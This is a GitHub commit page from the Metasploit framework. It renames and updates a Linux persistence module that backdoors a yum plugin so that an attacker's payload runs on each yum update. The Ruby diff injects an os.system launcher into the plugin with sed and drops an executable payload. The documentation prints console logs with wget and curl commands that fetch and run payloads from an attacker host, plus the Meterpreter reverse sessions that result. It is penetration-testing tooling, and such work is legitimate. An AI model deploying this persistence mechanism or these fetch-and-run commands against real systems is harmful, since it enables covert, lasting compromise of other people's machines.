Skip to content

Commit 8b539f7

Browse files
authored
Merge pull request #20524 from h00die/modern_persistence_yum
update yum to persistence module
2 parents ed88e53 + 160cf5c commit 8b539f7

File tree

3 files changed

+170
-133
lines changed

3 files changed

+170
-133
lines changed

documentation/modules/exploit/linux/local/yum_package_manager_persistence.md

Lines changed: 0 additions & 84 deletions
This file was deleted.
Lines changed: 112 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,112 @@
1+
## Description
2+
3+
This module will run a payload when the package manager is used.
4+
This module modifies a yum plugin to launch a binary of choice.
5+
`grep -F 'enabled=1' /etc/yum/pluginconf.d/`
6+
will show what plugins are currently enabled on the system.
7+
8+
root persmissions are likely required.
9+
10+
Verified on Centos 7.1
11+
12+
## Verification Steps
13+
14+
1. Exploit a box that uses Yum
15+
2. `use exploit/linux/persistence/yum_package_manager`
16+
3. `set SESSION <id>`
17+
4. `set PAYLOAD cmd/unix/reverse_python` configure the payload as needed
18+
5. `exploit`
19+
20+
When the system runs yum update the payload will launch. You must set handler accordingly.
21+
22+
## Options
23+
24+
### PAYLOAD_NAME
25+
26+
Name of backdoor executable
27+
28+
### PLUGIN
29+
30+
Name of the yum plugin to target
31+
32+
### PluginPath
33+
34+
Plugin path to use default is (`/usr/lib/yum-plugins/`)
35+
36+
## Scenarios
37+
38+
### Tested on Centos 7.1
39+
40+
Initial access vector via web delivery
41+
42+
```
43+
resource (/root/.msf4/msfconsole.rc)> setg verbose true
44+
verbose => true
45+
resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111
46+
lhost => 111.111.1.111
47+
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
48+
[*] Using configured payload python/meterpreter/reverse_tcp
49+
resource (/root/.msf4/msfconsole.rc)> set srvport 8181
50+
srvport => 8181
51+
resource (/root/.msf4/msfconsole.rc)> set target 7
52+
target => 7
53+
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
54+
payload => linux/x64/meterpreter/reverse_tcp
55+
resource (/root/.msf4/msfconsole.rc)> set lport 4545
56+
lport => 4545
57+
resource (/root/.msf4/msfconsole.rc)> set URIPATH l
58+
URIPATH => l
59+
resource (/root/.msf4/msfconsole.rc)> run
60+
[*] Exploit running as background job 0.
61+
[*] Exploit completed, but no session was created.
62+
[*] Starting persistent handler(s)...
63+
[*] Started reverse TCP handler on 111.111.1.111:4545
64+
[*] Using URL: http://111.111.1.111:8181/l
65+
[*] Server started.
66+
[*] Run the following command on the target machine:
67+
wget -qO KOiqZchh --no-check-certificate http://111.111.1.111:8181/l; chmod +x KOiqZchh; ./KOiqZchh& disown
68+
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) >
69+
[*] Transmitting intermediate stager...(126 bytes)
70+
[*] Sending stage (3045380 bytes) to 192.168.2.100
71+
[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 192.168.2.100:34470) at 2025-02-16 11:30:09 -0500
72+
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/persistence/yum_package_manager
73+
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
74+
[msf](Jobs:2 Agents:2) exploit(linux/persistence/yum_package_manager) > sessions -i 1
75+
[*] Starting interaction with 1...
76+
(Meterpreter 1)(/home/centos) > getuid
77+
Server username: root
78+
(Meterpreter 1)(/home/centos) > sysinfo
79+
Computer : centos71.localdomain
80+
OS : CentOS 7.9.2009 (Linux 3.10.0-1160.53.1.el7.x86_64)
81+
Architecture : x64
82+
BuildTuple : x86_64-linux-musl
83+
Meterpreter : x64/linux
84+
(Meterpreter 1)(/home/centos) > background
85+
[*] Backgrounding session 1...
86+
```
87+
88+
Persistence
89+
90+
```
91+
[msf](Jobs:1 Agents:1) exploit(linux/persistence/yum_package_manager) > set session 1
92+
session => 1
93+
[msf](Jobs:1 Agents:1) exploit(linux/persistence/yum_package_manager) > exploit
94+
[*] Command to run on remote host: curl -so ./lgtOaZox http://111.111.1.111:8080/Hg3DGEu9GqlWD06kh4AzFg;chmod +x ./lgtOaZox;./lgtOaZox&
95+
[*] Exploit running as background job 1.
96+
[*] Exploit completed, but no session was created.
97+
[msf](Jobs:2 Agents:1) exploit(linux/persistence/yum_package_manager) >
98+
[*] Fetch handler listening on 111.111.1.111:8080
99+
[*] HTTP server started
100+
[*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg
101+
[*] Started reverse TCP handler on 111.111.1.111:4444
102+
[*] Running automatic check ("set AutoCheck false" to disable)
103+
[*] Transmitting intermediate stager...(126 bytes)
104+
[*] Sending stage (3045380 bytes) to 222.222.2.222
105+
[+] Plugins are enabled!
106+
[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.222:53880) at 2025-02-16 11:30:59 -0500
107+
[!] The service is running, but could not be validated. yum installed and plugin found, enabled, and backdoorable
108+
[*] Attempting to modify plugin
109+
[*] Backdoor uploaded to /tmp/7EtplboZD
110+
[+] Backdoor will run on next Yum update
111+
[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/centos71.localdomain_20250216.3101/centos71.localdomain_20250216.3101.rc
112+
```

modules/exploits/linux/local/yum_package_manager_persistence.rb renamed to modules/exploits/linux/persistence/yum_package_manager.rb

Lines changed: 58 additions & 49 deletions
Original file line numberDiff line numberDiff line change
@@ -5,22 +5,28 @@
55

66
class MetasploitModule < Msf::Exploit::Local
77
Rank = ExcellentRanking
8+
89
include Msf::Exploit::EXE
910
include Msf::Exploit::FileDropper
1011
include Msf::Post::File
1112
include Msf::Post::Linux::System
13+
include Msf::Exploit::Local::Persistence
14+
prepend Msf::Exploit::Remote::AutoCheck
15+
include Msf::Exploit::Deprecated
16+
moved_from 'exploits/linux/local/yum_package_manager_persistence'
1217

1318
def initialize(info = {})
1419
super(
1520
update_info(
1621
info,
1722
'Name' => 'Yum Package Manager Persistence',
1823
'Description' => %q{
19-
This module will run a payload when the package manager is used. No
20-
handler is ran automatically so you must configure an appropriate
21-
exploit/multi/handler to connect. Module modifies a yum plugin to
22-
launch a binary of choice. grep -F 'enabled=1' /etc/yum/pluginconf.d/
24+
This module will run a payload when the package manager is used.
25+
This module modifies a yum plugin to launch a binary of choice.
26+
grep -F 'enabled=1' /etc/yum/pluginconf.d/
2327
will show what plugins are currently enabled on the system.
28+
root persmissions are likely required.
29+
Verified on Centos 7.1
2430
},
2531
'License' => MSF_LICENSE,
2632
'Author' => ['Aaron Ringo'],
@@ -36,27 +42,24 @@ def initialize(info = {})
3642
ARCH_MIPSBE
3743
],
3844
'SessionTypes' => ['shell', 'meterpreter'],
39-
'DefaultOptions' => {
40-
'WfsDelay' => 0, 'DisablePayloadHandler' => true,
41-
'Payload' => 'cmd/unix/reverse_python'
42-
},
4345
'DisclosureDate' => '2003-12-17', # Date published, Robert G. Browns documentation on Yum
4446
'References' => ['URL', 'https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/deployment_guide/sec-yum_plugins'],
4547
'Targets' => [['Automatic', {}]],
4648
'DefaultTarget' => 0,
49+
'Privileged' => true,
4750
'Notes' => {
48-
'Reliability' => UNKNOWN_RELIABILITY,
49-
'Stability' => UNKNOWN_STABILITY,
50-
'SideEffects' => UNKNOWN_SIDE_EFFECTS
51+
'Stability' => [CRASH_SAFE],
52+
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
53+
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
5154
}
5255
)
5356
)
5457

5558
register_options(
5659
[
5760
# /usr/lib/yum-plugins/fastestmirror.py is a default enabled plugin in centos
58-
OptString.new('PLUGIN', [true, 'Yum Plugin to target', 'fastestmirror']),
59-
OptString.new('BACKDOOR_NAME', [false, 'Name of binary to write'])
61+
OptString.new('PLUGIN', [true, 'Yum Plugin to target', 'fastestmirror.py']),
62+
OptString.new('PAYLOAD_NAME', [false, 'Name of binary to write'])
6063
]
6164
)
6265

@@ -68,53 +71,57 @@ def initialize(info = {})
6871
)
6972
end
7073

71-
def exploit
74+
def check
75+
return CheckCode::Safe("#{datastore['WritableDir']} does not exist") unless exists? datastore['WritableDir']
76+
return CheckCode::Safe("#{datastore['WritableDir']} not writable") unless writable? datastore['WritableDir']
77+
7278
# checks /usr/lib/yum-plugins/PLUGIN.py exists and is writeable
7379
plugin = datastore['PLUGIN']
74-
full_plugin_path = "#{datastore['PluginPath']}#{plugin}.py"
75-
print_status(full_plugin_path)
76-
unless writable? full_plugin_path
77-
fail_with Failure::BadConfig, "#{full_plugin_path} not writable, does not exist, or yum is not on system"
78-
end
80+
full_plugin_path = "#{datastore['PluginPath']}#{plugin}"
81+
return CheckCode::Safe("#{full_plugin_path} does not exist") unless exists? full_plugin_path
82+
return CheckCode::Safe("#{full_plugin_path} not writable") unless writable? full_plugin_path
83+
return CheckCode::Safe('yum not found on system') unless command_exists? 'yum'
84+
return CheckCode::Safe('sed not found on system, required for exploitation') unless command_exists? 'sed'
7985

8086
# /etc/yum.conf must contain plugins=1 for plugins to run at all
8187
plugins_enabled = cmd_exec "grep -F 'plugins=1' /etc/yum.conf"
82-
unless plugins_enabled.include? 'plugins=1'
83-
fail_with Failure::NotVulnerable, 'Plugins are not set to be enabled in /etc/yum.conf'
84-
end
85-
print_good('Plugins are enabled!')
88+
return CheckCode::Safe('Plugins are not set to be enabled in /etc/yum.conf') unless plugins_enabled.include? 'plugins=1'
89+
90+
vprint_good('Plugins are enabled!')
8691

8792
# /etc/yum/pluginconf.d/PLUGIN.conf must contain enabled=1
88-
plugin_conf = "/etc/yum/pluginconf.d/#{plugin}.conf"
93+
plugin_conf = "/etc/yum/pluginconf.d/#{plugin.sub('.py', '')}.conf"
8994
plugin_enabled = cmd_exec "grep -F 'enabled=1' #{plugin_conf}"
9095
unless plugin_enabled.include? 'enabled=1'
91-
print_bad("#{plugin_conf} plugin is not configured to run")
92-
fail_with Failure::NotVulnerable, "try: grep -F 'enabled=1' /etc/yum/pluginconf.d/*"
93-
end
94-
95-
# plugins are made in python and generate pycs on successful execution
96-
unless exist? "#{full_plugin_path}c"
97-
print_warning('Either Yum has never been executed, or the selected plugin has not run')
98-
end
99-
100-
# check for write in backdoor path and set/generate backdoor name
101-
backdoor_path = datastore['WritableDir']
102-
unless writable? backdoor_path
103-
fail_with Failure::BadConfig, "#{backdoor_path} is not writable"
96+
return CheckCode::Safe("#{plugin_conf} plugin is not configured to run")
10497
end
105-
backdoor_name = datastore['BACKDOOR_NAME'] || rand_text_alphanumeric(5..10)
106-
backdoor_path << backdoor_name
10798

10899
# check that the plugin contains an import os, to backdoor
109100
import_os_check = cmd_exec "grep -F 'import os' #{full_plugin_path}"
110101
unless import_os_check.include? 'import os'
111-
fail_with Failure::NotVulnerable, "#{full_plugin_path} does not import os, which is odd"
102+
return CheckCode::Safe("#{full_plugin_path} does not import os, which is odd")
112103
end
113104

105+
CheckCode::Detected('yum installed and plugin found, enabled, and backdoorable')
106+
end
107+
108+
def install_persistence
109+
plugin = datastore['PLUGIN']
110+
full_plugin_path = "#{datastore['PluginPath']}/#{plugin}"
111+
112+
# plugins are made in python and generate pycs on successful execution
113+
print_warning('Either Yum has never been executed, or the selected plugin has not run') unless exist? "#{full_plugin_path}c"
114+
115+
# check for write in backdoor path and set/generate backdoor name
116+
payload_path = datastore['WritableDir']
117+
payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
118+
payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
119+
payload_path << payload_name
120+
114121
# check for sed binary and then append launcher to plugin underneath
115122
print_status('Attempting to modify plugin')
116-
launcher = "os.system('setsid #{backdoor_path} 2>/dev/null \\& ')"
117-
sed_path = cmd_exec "command -v sed"
123+
launcher = "os.system('setsid #{payload_path} 2>/dev/null \\& ')"
124+
sed_path = cmd_exec 'command -v sed'
118125
unless sed_path.include?('sed')
119126
fail_with Failure::NotVulnerable, 'Module uses sed to modify plugin, sed was not found'
120127
end
@@ -123,17 +130,19 @@ def exploit
123130

124131
# actually write users payload to be executed then check for write
125132
if payload.arch.first == 'cmd'
126-
write_file(backdoor_path, payload.encoded)
133+
write_file(payload_path, payload.encoded)
127134
else
128-
write_file(backdoor_path, generate_payload_exe)
135+
write_file(payload_path, generate_payload_exe)
129136
end
130-
unless exist? backdoor_path
131-
fail_with Failure::Unknown, "Failed to write #{backdoor_path}"
137+
@clean_up_rc << "rm #{payload_path}\n"
138+
@clean_up_rc << "execute -f #{sed_path} -a \"-i /os\.system.*#{payload_name}/d #{full_plugin_path}\""
139+
unless exist? payload_path
140+
fail_with Failure::Unknown, "Failed to write #{payload_path}"
132141
end
133142

134143
# change perms to reflect bins in /usr/local/bin/, give good feels
135-
chmod(backdoor_path, 0755)
136-
print_status("Backdoor uploaded to #{backdoor_path}")
137-
print_status('Backdoor will run on next Yum update')
144+
chmod(payload_path, 0o755)
145+
print_status("Backdoor uploaded to #{payload_path}")
146+
print_good('Backdoor will run on next Yum update')
138147
end
139148
end

0 commit comments

Comments
 (0)